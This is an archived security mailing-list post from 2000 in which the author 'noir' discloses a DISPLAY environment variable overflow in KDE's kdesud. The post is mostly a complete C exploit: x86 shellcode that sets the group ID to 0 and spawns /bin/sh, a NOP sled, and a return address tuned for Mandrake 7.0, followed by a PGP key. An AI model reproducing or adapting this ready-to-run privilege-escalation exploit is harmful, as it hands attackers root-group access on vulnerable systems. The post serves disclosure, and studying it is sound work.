OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
Subject: KDE: /usr/bin/kdesud, gid = 0 exploit
From: noir (noirGSU.LINUX.ORG.TR)
Date: Fri May 26 2000 - 11:21:10 CDT


/usr/bin/kdesud has DISPLAY enviroment variable overflow.
tested on Mandrake 7.02 (Air), exploit will get you gid=0

Shameless self promotion: Any security related job in Istanbul/Turkey
???

Respect,
noir

/* KDE: /usr/bin/kdesud exploit by noir
 * x86/Linux
 * noirgsu.linux.org.tr | noirolympos.org
 * DISPLAY env overflow
 * this script will get you gid = 0 !!
 * tested on Mandrake 7.0 (Air), for other distros play with argv1 for
eip
 * greetz: dustdevil, Cronos, moog, still, #olympos irc.sourtimes.org
 *
 */

#include <stdio.h>
#include <string.h>

#define NOP 0x90
#define ALIGN 2
#define RET 0xbffff664 // Mandrake 7.0 (x86)

int
main(int argc, char *argv[])
{
        unsigned char shell[] =
        "\x31\xc0\x89\xc3\x89\xc1\xb0\x47\xcd\x80" /* setregid(0, 0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";

        char buf[400];
        int i, a;
        long ret = RET;

     if(argv[1])
        ret = ret - atoi(argv[1]);

        memset(buf, NOP, 400);

        for(i = ALIGN ; i < 160 + ALIGN; i+=4)
                *(long *) &buf[i] = ret;

        for( i = 300, a = 0; a < strlen(shell) ; i++, a++ )
        buf[i] = shell[a];

        buf[399] = 0x00;
        printf("eip: 0x%x\n", ret);

        setenv("DISPLAY", buf, 1);
        execl("/usr/bin/kdesud", "kdesud", 0);

}

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: PGPfreeware 5.0i for non-commercial use

mQENAzfpmZ4AAAEIALEp8z+/6SXHZ2IYf0PQnsyCm+9hfHxlQwWQs6BI5rBQdX9J
GuSqJfGX3w+fS9xl6MWRlvno3Nmnk66QhBgs8LnunmyhtFN03TBfq7mGoBYKb79R
4jX/kjGUg9oUCr+6sqwN3bXp812qKpScxKVMvMCtQissVzDLdA01U1wCFhMg7xBQ
N9lP8tJQ1gtKUnzdsnFgsLkgT3uN+Ek7bQdmwz9a1Xqcq2jxVj5j4yEErQoY3J8m
viV+u8mr/Wo0vWEGwIeCWOKNi6SXGz69Pd9a+JRjYIBnuu33o64aEYoMGbFdslNM
KbWxsXJJAwtw4/JqKt/LosYAFreteGhdA56c7JsABRG0IE5vaXIgU2luIDxub2ly
QGdzdS5saW51eC5vcmcudHI+iQEVAwUQN+mZnnhoXQOenOybAQG16Af8Dk4ZRciA
M1Fwq/fJOQJ/kcdszFHAEVHh1nToC99b+ZeoX2I3AIzrpYl0aGZBWQeGbtG4FZuz
ldWQcvT8jsQ1M1FraAZgKIzukxAxiOJL1twlQJyEDYQ3wwyWIXXqS3c1/jl7PgC1
iv7RQXxxLRn9qFPJQcaJavxRAAVytkDQWocTguRaehtdZsjxLmH2eE7cGQe0N9aL
JJfq0XLl1NjeV5pu5oTkc90/aJ/uHxPOStmPULm5WZP6nCTaQ28lPJBaDV8pLdPo
dSg+kvlvhi+k7UgAdvsETA/I6paFyOLq8lFdORA/GHof89NQX3OyJmDGTknfKtAf
9Ky2NbzA12r6zQ==
=o1d1
-----END PGP PUBLIC KEY BLOCK-----